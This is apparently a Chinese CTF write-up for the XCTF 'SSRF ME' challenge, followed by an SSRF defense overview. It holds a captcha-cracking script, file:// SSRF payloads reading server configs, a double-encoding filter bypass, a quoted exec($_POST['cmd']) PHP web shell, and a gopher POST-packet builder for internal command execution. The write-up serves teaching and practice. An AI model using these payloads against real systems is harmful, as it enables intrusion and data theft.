SSRF ME XCTF

题目

就是一个验证框和URL框,两个都必须有参数
在这里插入图片描述

解法

验证码

做一个粗略的脚本,一般验证码都是数字,所以直接开md5:

def cmpcapt(substr):
    for i in range(1,100001):
        md5 = hashlib.md5(str(i).encode('utf-8'))
        hexmd5 = md5.hexdigest()
        if hexmd5[-6:-1]+hexmd5[-1] == substr:
            return i

def catchcapt(url, headers):
    r = requests.get(url,headers=headers)
    pat1 = re.compile("== \"[0-9a-z]{6}\"")
    pat2 = re.compile("[0-9a-z]{6}")
    capt = re.findall(pat2, re.findall(pat1,r.text)[0])
    return capt[0]

def getcapt(url, headers):
    return cmpcapt(catchcapt(url, headers))

需要注意的是,这里面的headers需要加上cookie,不然验证码会一直变。

读取文件

经过这下面的payload可以知道很多东西:

    payload={
        0: 'file:///etc/apache2/sites-enabled/000-default.conf',
        1: 'file:///etc/apache2/apache2.conf',
        2: 'file:///lib.php',
        3: 'file:///var/www/html/index.php',
        4: 'file:///var/www/html/lib.php',
        5: 'dict://127.0.0.1:47852',
        6: 'file:///var/www/htmlssrf123123/index.php',
    }

读到lib.php发现它只过滤了flag什么的,所以有以下思路

思路一:使用双重URL编码

file:///%2566lag

思路二:使用gopher(未完成)

看到 6: 'file:///var/www/htmlssrf123123/index.php'里面有如下代码:

<?php
    if(isset($_POST['cmd'])){
        exec($_POST['cmd']);
    }
?>

再看到payload0执行后的结果:

# ServerAdmin webmaster@localhost  80
#         DocumentRoot /var/www/html
#         ErrorLog ${APACHE_LOG_DIR}/error.log
#         CustomLog ${APACHE_LOG_DIR}/access.log combined

# ServerAdmin secret@localhost      47852
#         DocumentRoot /var/www/htmlssrf123123
#         ErrorLog ${APACHE_LOG_DIR}/error.log
#         CustomLog ${APACHE_LOG_DIR}/access.log combined

想到可以传入POST请求到 47852 端口,就可以执行命令了(不知道这个可不可行,我没能成功)。
构造一个POST包使用gopher协议传到 47852 端口即可。到时候flag可以使用f""lag来绕过。
构造包的代码:

def PAR_POST(path, content, host='127.0.0.1:80'):
    '''
    构造gopher的POST包请求,攻击IP为127.0.0.1回环IP
    gopher://127.0.0.1:80/_POST包
    :param path: 攻击目标路径(e.g index.php)
    :param content: 攻击payload
    :param port: 将此POST请求发送到哪个端口,可以设置为3306 mysql端口
    :return: POST包
    '''
    PAR ="POST /{} HTTP/1.1\n" \
         "Host: {}\n" \
         "User-Agent: curl/7.43.0\n" \
         "Accept: */*\n" \
         "Content-Type: application/x-www-form-urlencoded\n" \
         "Content-Length: {}\n\n" \
         "{}\n".format(path, host, len(content), content)

    NEW_PAR = urllib.parse.quote(PAR)
    NEW_PAR = NEW_PAR.replace('%0A','%0D%0A')
    res = 'gopher://127.0.0.1:80/_' + NEW_PAR
    return urllib.parse.quote(res)
### SSRF(服务器端请求伪造)安全漏洞及其防御方法 #### SSRF 概述 SSRF 是一种允许攻击者构造恶意 URL 或其他网络资源路径,诱导服务器发起内部网络请求的安全漏洞。这种攻击可以用来访问内网服务、读取本地文件或与其他外部系统交互。 #### 基础利用方式 CTFHub 与 PortSwigger 提供了多个场景来展示 SSRF 的基础应用,包括但不限于: - **内网访问**:通过构造特定 IP 地址或主机名让目标服务器向内网发出 HTTP 请求。 - **文件读取**:当应用程序允许指定任意 URI 方案时,可能被用于读取本地文件内容。 - **端口扫描**:尝试连接不同端口号以探测开放的服务[^2]。 #### 进阶利用案例 更复杂的 SSRF 利用还包括: - 使用 Gopher 协议发送 POST 数据包给远程服务器; - 对 Redis 等数据库实施命令注入实现远程代码执行(RCE)[^2]; #### 防御策略 为了有效防范 SSRF 攻击,建议采取以下措施: ##### 白名单限制 仅允许已知可信域名列表内的请求,并严格审查输入参数中的URL结构,避免使用不受信任的数据源构建最终调用的目标地址。 ##### 黑名单过滤 对于那些确实需要支持多种协议的应用程序来说,在无法完全移除危险选项的情况下,则应考虑采用黑名单机制阻止高风险的URI模式,比如 `file://` 和 `ftp://` 等非必要的协议应当予以屏蔽[^4]。 ##### 用户认证与权限控制 确保每次涉及敏感操作前都重新验证当前会话的有效性和合法性,即使是在同一站点之间跳转也需如此处理。这有助于防止因跨站脚本(XSS)引发的间接性 SSRF 被滥用情况发生[^5]。 ##### 输入校验和输出编码 仔细检查所有来自客户端提交的信息字段,特别是那些会被嵌入到后续生成的新链接里的部分。同时也要注意对返回的内容做适当转换,以防万一存在反射型XSS隐患而造成连锁反应影响整个系统的安全性[^3]。 ```python import requests from urllib.parse import urlparse def is_safe_url(url, whitelist_domains): parsed = urlparse(url) return any(parsed.netloc.endswith(domain) for domain in whitelist_domains) safe_urls = ["example.com", "api.example.com"] unsafe_request = "http://internal-service" if not is_safe_url(unsafe_request, safe_urls): raise ValueError("Unsafe request detected!") else: response = requests.get(unsafe_request) ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值